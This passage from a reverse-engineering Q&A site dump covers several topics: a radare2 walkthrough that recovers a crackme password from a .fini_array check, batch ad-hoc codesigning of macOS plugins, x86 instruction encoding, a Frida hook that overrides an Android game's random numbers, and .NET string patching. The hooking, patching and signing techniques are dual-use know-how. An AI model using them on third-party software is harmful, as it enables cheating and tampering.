entry0&#xA;0x080484d0    1 4            fcn.080484d0&#xA;0x080484e0    4 43           fcn.080484e0&#xA;0x08048550    3 30           entry3.fini&#xA;0x08048570    8 43   -&amp;gt; 93   entry1.init&#xA;0x0804859b    3 55           entry2.init&#xA;0x080485d2   12 446          entry4.fini&#xA;0x08048790    8 250          main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other than &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;entry4.fini&lt;/code&gt; function is quite large. Have a look at &lt;code&gt;.fini&lt;/code&gt; and &lt;code&gt;.fini_array&lt;/code&gt; sections from the binary(iS). Functions from &lt;code&gt;.fini_array&lt;/code&gt; are called when the program is about to terminate(after main).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484a0]&amp;gt; iS~fini&#xA;14 0x00000904    20 0x08048904    20 -r-x .fini&#xA;19 0x00000c08     8 0x08049c08     8 -rw- .fini_array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seek to that address(s). Dump &lt;code&gt;.fini_array&lt;/code&gt;(pxw).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484a0]&amp;gt; s 0x08049c08&#xA;[0x08049c08]&amp;gt; pxw 0x10&#xA;0x08049c08  0x08048550 0x080485d2 0x00000000 0x00000001  P...............&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;entry4.fini&lt;/code&gt; has been referenced in &lt;code&gt;.fini_array&lt;/code&gt;. Go to main and disassemble. Check where the input is getting stored to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;│           0x080487d5      a1409d0408     mov eax, dword [obj.stdin]  ; [0x8049d40:4]=0&#xA;│           0x080487da      83ec04         sub esp, 4&#xA;│           0x080487dd      50             push eax                    ; FILE *stream&#xA;│           0x080487de      6a23           push 0x23                   ; '#' ; 35 ; int size&#xA;│           0x080487e0      68609d0408     push 0x8049d60              ; char *s&#xA;│           0x080487e5      e826fcffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Input from fgets is going to 0x8049d60. You can also name it &lt;code&gt;f input 35 @ 0x8049d60&lt;/code&gt;. Check for xrefs on it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048790]&amp;gt; axt 0x8049d60&#xA;entry4.fini 0x80486ec [DATA] push 0x8049d60&#xA;main 0x80487c8 [DATA] push 0x8049d60&#xA;main 0x80487e0 [DATA] push 0x8049d60&#xA;main 0x80487f8 [DATA] push 0x8049d60&#xA;main 0x8048808 [DATA] movzx eax, byte [eax + 0x8049d60]&#xA;main 0x8048816 [DATA] push 0x8049d60&#xA;main 0x8048826 [DATA] mov byte [eax + 0x8049d60], 0&#xA;main 0x8048835 [DATA] push 0x8049d60&#xA;main 0x804885b [DATA] push 0x8049d60&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;entry4.fini&lt;/code&gt; also references the input. Disassemble it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;│           0x080486ec      68609d0408     push 0x8049d60              ; const char *s&#xA;│           0x080486f1      e85afdffff     call sym.imp.strlen         ; size_t strlen(const char *s)&#xA;│           0x080486f6      83c410         add esp, 0x10&#xA;│           0x080486f9      83f822         cmp eax, 0x22               ; '&quot;' ; 34&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First check is if your input is 34 bytes long.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;│           0x080486f9      83f822         cmp eax, 0x22               ; '&quot;' ; 34&#xA;│       ┌─&amp;lt; 0x080486fc      7405           je 0x8048703&#xA;│      ┌──&amp;lt; 0x080486fe      e988000000     jmp 0x804878b&#xA;│      ││   ; CODE XREF from entry4.fini (0x80486fc)&#xA;│      │└─&amp;gt; 0x08048703      c745f4000000.  mov dword [local_ch], 0&#xA;│      │┌─&amp;lt; 0x0804870a      eb2c           jmp 0x8048738&#xA;│      ││   ; CODE XREF from entry4.fini (0x804873c)&#xA;│     ┌───&amp;gt; 0x0804870c      8d55d1         lea edx, [local_2fh]&#xA;│     ⁝││   0x0804870f      8b45f4         mov eax, dword [local_ch]&#xA;│     ⁝││   0x08048712      01d0           add eax, edx&#xA;│     ⁝││   0x08048714      0fb600         movzx eax, byte [eax]&#xA;│     ⁝││   0x08048717      0fbed0         movsx edx, al&#xA;│     ⁝││   0x0804871a      8b45f4         mov eax, dword [local_ch]&#xA;│     ⁝││   0x0804871d      05609d0408     add eax, 0x8049d60&#xA;│     ⁝││   0x08048722      0fb600         movzx eax, byte [eax]&#xA;│     ⁝││   0x08048725      83f033         xor eax, 0x33&#xA;│     ⁝││   0x08048728      0fbec0         movsx eax, al&#xA;│     ⁝││   0x0804872b      0fb6c0         movzx eax, al&#xA;│     ⁝││   0x0804872e      39c2           cmp edx, eax&#xA;│    ┌────&amp;lt; 0x08048730      7402           je 0x8048734&#xA;│   ┌─────&amp;lt; 0x08048732      eb57           jmp 0x804878b&#xA;│   ││⁝││   ; CODE XREF from entry4.fini (0x8048730)&#xA;│   │└────&amp;gt; 0x08048734      8345f401       add dword [local_ch], 1&#xA;│   │ ⁝││   ; CODE XREF from entry4.fini (0x804870a)&#xA;│   │ ⁝│└─&amp;gt; 0x08048738      837df421       cmp dword [local_ch], 0x21  ; [0x21:4]=-1 ; '!' ; 33&#xA;│   │ └───&amp;lt; 0x0804873c      7ece           jle 0x804870c&#xA;│   │  │    0x0804873e      c745f4000000.  mov dword [local_ch], 0&#xA;│   │  │┌─&amp;lt; 0x08048745      eb21           jmp 0x8048768&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second check involves xor'ing each byte from &lt;code&gt;local_2fh&lt;/code&gt; with 0x33 and the comparing with the input byte by byte. Start the VM to dump the memory(0x22 bytes from local_2fh) and perform the xor operation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080484a0]&amp;gt; s entry4.fini&#xA;[0x080485d2]&amp;gt; aei&#xA;[0x080485d2]&amp;gt; aeim&#xA;[0x080485d2]&amp;gt; aeip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Local variables are assigned up to instruction 0x08048665 for the check. Emulate and dump the values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x080485d2]&amp;gt; aesu 0x08048665&#xA;[0x08048659]&amp;gt; pcp 0x22  @ebp-0x2f &#xA;import struct&#xA;buf = struct.pack (&quot;34B&quot;, *[&#xA;0x02,0x5d,0x02,0x67,0x6c,0x07,0x5d,0x77,0x6c,0x75,0x02,&#xA;0x5d,0x02,0x6c,0x07,0x41,0x61,0x07,0x6a,0x40,0x6c,0x07,&#xA;0x41,0x00,0x6c,0x60,0x03,0x6c,0x00,0x07,0x40,0x6a,0x12,&#xA;0x12])&#xA;[0x00000041]&amp;gt; !python&#xA;Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) &#xA;[GCC 7.3.0] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; import struct&#xA;&amp;gt;&amp;gt;&amp;gt; buf = struct.pack (&quot;34B&quot;, *[&#xA;... 0x02,0x5d,0x02,0x67,0x6c,0x07,0x5d,0x77,0x6c,0x75,0x02,&#xA;... 0x5d,0x02,0x6c,0x07,0x41,0x61,0x07,0x6a,0x40,0x6c,0x07,&#xA;... 0x41,0x00,0x6c,0x60,0x03,0x6c,0x00,0x07,0x40,0x6a,0x12,&#xA;... 0x12])&#xA;&amp;gt;&amp;gt;&amp;gt; print ''.join(map(lambda x:chr(ord(x)^0x33),buf))&#xA;1n1T_4nD_F1n1_4rR4Ys_4r3_S0_34sY!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./wysiNwyg &#xA;&#xA;#########################################################&#xA;### Welcome to the &quot;wysiNwyg&quot; challenge!&#xA;###     Your task is to find out the password to be able&#xA;###     to decrypt the password-protected zip and read&#xA;###     the secret flag. Good Luck!!&#xA;#########################################################&#xA;&#xA;Password: 1n1T_4nD_F1n1_4rR4Ys_4r3_S0_34sY!!&#xA;Congratulations! You just won :p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-09-29T09:42:54.393" LastActivityDate="2018-09-29T09:42:54.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19479" PostTypeId="1" CreationDate="2018-09-27T20:45:24.933" Score="3" ViewCount="2678" Body="&lt;p&gt;so I have two questions, I'll try to keep it short (&lt;strong&gt;also, im a noob&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I run logic pro x and other software to make music, and some third party plugins make program crash if they get a:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Exception Type:        EXC_BAD_ACCESS (Code Signature Invalid)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can solve this problem by &lt;code&gt;codesign -f -s - (file)&lt;/code&gt; but I'd rather not. Is there a way to disable code signature check so it won't even give me an error and won't check it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I assume the answer is no and therefore my second question:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;I need to run &lt;code&gt;sudo codesign -f -s -&lt;/code&gt; on a &lt;code&gt;.bundle&lt;/code&gt; file that's inside a &lt;code&gt;Resource&lt;/code&gt; folder inside a &lt;code&gt;.component&lt;/code&gt; (a package), and I have &lt;em&gt;a lot&lt;/em&gt; of these to go through, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Plugin_2.component -&amp;gt; Resources -&amp;gt; **Plugin_2.bundle**  &#xA;Plugin_3.component -&amp;gt; Resources -&amp;gt; **Plugin_3.bundle**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is there a way to make a command to do it automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking maybe in automator? something to make it do these 2 steps:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;look for a &lt;code&gt;.bundle&lt;/code&gt; file inside a &lt;code&gt;Resource&lt;/code&gt; folder in a package  &lt;/li&gt;&#xA;&lt;li&gt;run &lt;code&gt;sudo codesign -f -s -&lt;/code&gt; on it&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is that possible? maybe make it in automator and add it to Services in the right click menu? or to make it scan a whole folder with &lt;code&gt;.component&lt;/code&gt;?  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated!&lt;br&gt;&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="25810" LastEditorUserId="2147" LastEditDate="2018-09-28T19:27:32.357" LastActivityDate="2021-03-28T21:58:27.067" Title="(MacOS) disable codesign check / run codesign on multiple files" Tags="|automation|macos|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19481" PostTypeId="2" ParentId="19479" CreationDate="2018-09-28T08:39:04.900" Score="1" Body="&lt;p&gt;after some trial and error i managed to solve it easily with the following command in terminal  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;find . -name &quot;*.bundle&quot; -execdir sudo codesign -f -s - {} \;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;find . -name &quot;*.EXTENSION&quot;&lt;/code&gt; is responsible for finding the certain file extension in a directory  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-execdir YOUR COMMAND {} \;&lt;/code&gt; is responsible to executing the command.&lt;br&gt;&#xA;using &lt;code&gt;-execdir&lt;/code&gt; -&gt; on the results of the previous find command ( &lt;code&gt;{}&lt;/code&gt; )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fairly simple after all, hope this can help someone in the future&lt;/p&gt;&#xA;" OwnerUserId="25810" LastActivityDate="2018-09-28T08:39:04.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19482" PostTypeId="2" ParentId="19473" CreationDate="2018-09-28T13:46:34.480" Score="1" Body="&lt;p&gt;An x86 instruction can be encoded in up to 15 bytes (AFAIK the CPU traps with Undefined opcode exception when exceeding the instruction length of 15 bytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;O_PREFIX&lt;/code&gt; probably refers to an instruction prefix such as &lt;code&gt;REP&lt;/code&gt;, or to instructions with implicit arguments. Encoded in 1 byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;O_IMM8&lt;/code&gt; is an instruction with one immediate argument, so it's encoded in 2 bytes (one for the instruction, one for the argument)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;O_IMM16&lt;/code&gt; takes an immediate argument of 2 bytes (16 bits), so it's encoded in 3 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;O_MODRM&lt;/code&gt; According to the Intel manual&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Many instructions that refer to an operand in memory have an addressing-form specifier byte (called the ModR/M&#xA;  byte) following the primary opcode. Certain encodings of the ModR/M byte require a second addressing byte (the SIB byte)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Things get complicated here, and depending on the addressing mode you can have up to 9 bytes per instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't know about &lt;code&gt;O_EXTENDED&lt;/code&gt; (MMX? SSE? ...) or the other two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, study the Intel manual, you should find everything in there: &lt;a href=&quot;https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-2a-manual.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-vol-2a-manual.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25126" LastActivityDate="2018-09-28T13:46:34.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19483" PostTypeId="2" ParentId="19473" CreationDate="2018-09-28T19:40:51.580" Score="1" Body="&lt;p&gt;If you're interested in learning (or using) length disassemblers for x86/x64, there are quite a few of them laying around, some with full documentation for your education:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/zyantific/zydis&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zyantific/zydis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/greenbender/lend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/greenbender/lend&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/CasualX/lde&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CasualX/lde&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-09-28T19:40:51.580" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19487" PostTypeId="2" ParentId="13814" CreationDate="2018-09-30T08:25:23.520" Score="2" Body="&lt;p&gt;If I understand your question correctly, you want to change the parameter, &lt;code&gt;v&lt;/code&gt;, inside the inner function. Right? &#xA;If that's the case, you would already have access to the &lt;code&gt;v&lt;/code&gt; argument inside your inner function. So what you can do is something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Java.perform(function () {&#xA;// Function to hook is defined here&#xA;var SpeedometerView = Java.use('adL');&#xA;&#xA;// Whenever button is clicked&#xA;SpeedometerView.a.overload('float').implementation = function (v) {&#xA;    // Show a message to know that the function got called&#xA;    send('Speed showing');&#xA;    old_param_value = v;&#xA;    new_param_value = 100.00;&#xA;    // Call the original onClick handler&#xA;    x = this.a(new_param_value);&#xA;};&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also, assuming you wanted to change the value of the param from whatever exiting to 100.00&#xA;return x if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you are looking to do this dynamically, like say based on user input etc., at run time, I do not know how to do it. In fact, I would be keeping an eye out for it if someone answers that ! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact I tried things like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;s4.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Java.perform(&#xA; function()&#xA; {&#xA;   var item = Java.use(&quot;java.util.Random&quot;);&#xA;   console.log(&quot;Found random loaded&quot;);&#xA;   item.nextInt.overload(&quot;int&quot;).implementation = function(a)&#xA;   {&#xA;     var ret = this.nextInt(a);&#xA;     send(&quot;[*] The random no &quot; + ret.toString());&#xA;     recv(function (received_json_object) {&#xA;           cheat_num = received_json_object.my_data&#xA;           console.log(&quot;[*] Cheated bot number received &quot; + cheat_num);            &#xA;       }).wait();&#xA;     return cheat_num;&#xA;   }&#xA; }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;not_working.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import time&#xA;import frida&#xA;&#xA;def my_message_handler(message, payload):&#xA;   print message.get('payload')&#xA;&#xA;   if message[&quot;type&quot;] == &quot;send&quot;:&#xA;       print &quot;in here&quot;      &#xA;       place_bot_chic_at = raw_input(&quot;Give the index where bot chicken should be placed &quot;)&#xA;       print &quot;bot chick will be placed at &quot; + str(place_bot_chic_at)&#xA;       # script.post({&quot;my_data&quot;: 7331}) # This works perfectly fine.&#xA;       script.post({&quot;my_data&quot;: place_bot_chic_at}) # This gives error as :&#xA;       print &quot;Bot chick position sent&quot;&#xA;&#xA;device = frida.get_device_manager().enumerate_devices()[-1]&#xA;pid = device.spawn([&quot;chicken.wars.main&quot;])&#xA;device.resume(pid)&#xA;time.sleep(1)  &#xA;session = device.attach(pid)&#xA;with open(&quot;s4.js&quot;) as f:&#xA;   jss = f.read()&#xA;   script = session.create_script(jss)&#xA;&#xA;script.on(&quot;message&quot;, my_message_handler) #register the message handler&#xA;script.load()&#xA;raw_input()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I run that python, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lib/python2.7/site-packages/frida/core.py&quot;, line 298, in _on_message&#xA;  callback(message, data)&#xA;File &quot;not_working.py&quot;, line 12, in my_message_handler&#xA;  script.post({&quot;my_data&quot;: place_bot_chic_at}) # This gives error as :&#xA;AttributeError: 'NoneType' object has no attribute 'post'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, strangely, the moment after the &lt;code&gt;in here&lt;/code&gt; string gets printed, I was expecting the user input line to be executed next. But that does not happen unless I press an enter. As soon as I press enter, the user input line &lt;code&gt;place_bot_chic_at = raw_input(&quot;Give the index where bot chicken should be placed &quot;)&lt;/code&gt; gets executed. I give a value and enter and that's when the above error occurs. &#xA;I have no idea what is going wrong. If someone does, please help understand where am I going wrong.&lt;/p&gt;&#xA;" OwnerUserId="22617" LastEditorUserId="22617" LastEditDate="2018-09-30T16:38:34.967" LastActivityDate="2018-09-30T16:38:34.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19488" PostTypeId="1" AcceptedAnswerId="19491" CreationDate="2018-09-30T13:39:20.687" Score="3" ViewCount="442" Body="&lt;p&gt;I'm trying to reverse a function and I came across these lines inside the function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. call    ds:HeapAlloc&#xA;2. mov     [ebp+var_4], eax&#xA;3. mov     eax, [ebp+var_4]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is line 3 needed? If I need to save the result, line 2 saved that and EAX already contains the result.&lt;/p&gt;&#xA;" OwnerUserId="23011" LastEditorUserId="-1" LastEditDate="2018-09-30T19:41:34.750" LastActivityDate="2018-09-30T19:41:34.750" Title="Move twice, from and to the same location" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19489" PostTypeId="1" CreationDate="2018-09-30T14:43:17.393" Score="1" ViewCount="2036" Body="&lt;p&gt;I'm trying to patch a string. So right now I'm trying to replace instruction &lt;code&gt;LDSTR&lt;/code&gt; with &lt;code&gt;LDSTR&lt;/code&gt; &quot;mystring&quot;; however, I have been unsuccessful. After assembling the &lt;code&gt;LDSTR&lt;/code&gt; op code, I don't quite understand what comes after: a pointer address to the string or raw string bytes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldstr &quot;Test&quot;;&#xA;stloc.0&#xA;ldloc.0&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I'm trying to achieve. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="23260" LastEditorUserId="2147" LastEditDate="2018-10-02T01:06:21.970" LastActivityDate="2018-10-02T01:06:21.970" Title=".NET assembly IDA PRO, using LDSTR IL op code, how to patch a string?" Tags="|ida|disassembly|assembly|hexrays|.net|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19490" PostTypeId="2" ParentId="19488" CreationDate="2018-09-30T15:07:41.457" Score="3" Body="&lt;p&gt;This is to save the value on the stack and continue to work with that value in further instruction(s) as already mentioned in the comments. This happens if no optimization is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to look at it separately.&#xA;Consider this in pseudocode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_4 = HeapAlloc()&#xA;func1(var_4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the result would be similar to your assembler output namely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. call    ds:HeapAlloc&#xA;2. mov     [ebp+var_4], eax&#xA;3. mov     eax, [ebp+var_4]&#xA;4. push    eax&#xA;5. call    func1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And in that case you are right, the value is still in &lt;code&gt;eax&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now consider that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_4 = HeapAlloc()&#xA;between_func()&#xA;func1(var_4)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The assembler output would be similar to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. call    ds:HeapAlloc&#xA;2. mov     [ebp+var_4], eax&#xA;3. call    between_func&#xA;4. mov     eax, [ebp+var_4]&#xA;5. push    eax&#xA;6. call    func1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can refer a pseudocode line to a section of the assembler code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;var_4 = HeapAlloc()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Corresponds to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. call    ds:HeapAlloc&#xA;2. mov     [ebp+var_4], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;between_func()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Corresponds to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3. call    between_func&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;func1(var_4)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Corresponds to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4. mov     eax, [ebp+var_4]&#xA;5. push    eax&#xA;6. call    func1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And if you omit the &lt;code&gt;between_func()&lt;/code&gt; then you will get to the result you have. Concluded, the two instructions are compiled independently. &lt;/p&gt;&#xA;" OwnerUserId="25793" LastEditorUserId="25793" LastEditDate="2018-09-30T16:05:52.097" LastActivityDate="2018-09-30T16:05:52.097" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19491" PostTypeId="2" ParentId="19488" CreationDate="2018-09-30T15:49:41.667" Score="3" Body="&lt;p&gt;&lt;strong&gt;It's not needed at all.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some compilers may generate that assembly when compiled without optimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;gcc -O0&lt;/code&gt; generates: (&lt;a href=&quot;https://godbolt.org/z/gpu0Q-&quot; rel=&quot;nofollow noreferrer&quot;&gt;from godbolt&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f():&#xA;  push rbp&#xA;  mov rbp, rsp&#xA;  sub rsp, 16&#xA;  call fake_heapalloc()&#xA;  mov DWORD PTR [rbp-4], eax&#xA;  mov eax, DWORD PTR [rbp-4]&#xA;  mov edi, eax&#xA;  call g(int)&#xA;  nop&#xA;  leave&#xA;  ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from C++ source code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int fake_heapalloc();&#xA;void g(int i);&#xA;void f(){&#xA;    int i;&#xA;    i=fake_heapalloc();&#xA;    g(i);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because it's not optimized, the &lt;code&gt;i&lt;/code&gt; is stored on the stack (instead of in a register) and the redundant move to/from stack code is generated.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, some programmer may manually insert the assembly instruction there to... I don't know, it's unlikely.&lt;/p&gt;&#xA;" OwnerUserId="25171" LastActivityDate="2018-09-30T15:49:41.667" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19492" PostTypeId="1" CreationDate="2018-09-30T21:10:32.947" Score="2" ViewCount="140" Body="&lt;p&gt;I need to reverse a RS485 protocol in order to extract some values for further usage. Unfortunately only these few messages are available at the moment. They repeat continuosly. Only in special situations longer messages (&gt;100 bytes) appear. I assume there must be included some sort of checksum somewhere (column K???) or how would the system detect sending failures? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could implement the possible checksum in a static way for these simple messages but for &quot;unkown&quot; new messages it would be easier to calculate the checksum live. I tried some online checksum calculators, but without any success. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any good idea about this protocol? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;(H gives the actual data length)&#xA;&#xA; A  B  C  D  E    F  G  H  I  J  K  L &#xA;02 00 01 01 01   8C 8C 8E CC 8C 95 03 (original HEX message)   &#xA;02 00 01 01 01   00 00 02 40 00 19 03 (HEX with applied XOR 8C)  &#xA;&#xA;HEX messages to master with already applied XOR:  (messages end with 03)&#xA;02 00 01 01 01   00 00 02 40 00 19 03    &#xA;02 00 02 06 00   00 00 05 00 00 00 00 00 5F 03  &#xA;02 00 03 06 00   00 00 05 00 00 00 00 00 5F 03  &#xA;HEX messages to slaves with already applied XOR:  (messages end with 03 03!)&#xA;02 03 00 06 00   00 00 07 00 00 40 00 00 00 00 1D 03 03  &#xA;02 02 00 06 00   00 00 07 00 00 40 00 00 00 00 1D 03 03   &#xA;&#xA;These are the only simple messages that are available at the moment :-/&#xA;&#xA;A=preamble (not a unique character)  &#xA;B=destination  &#xA;C=sender  &#xA;F=key for XOR  &#xA;H=data length  &#xA;K=????? (maybe a checksum???)  &#xA;L=end of message (messages from master end with 3 3, messages from slave end with 3)  &#xA;&lt;/pre&gt;&#xA;" OwnerUserId="25836" LastEditorUserId="2147" LastEditDate="2018-10-01T00:18:23.903" LastActivityDate="2018-10-14T17:54:56.707" Title="Can't identify checksum type in unknown RS485 protocol" Tags="|protocol|binary-diagnosis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
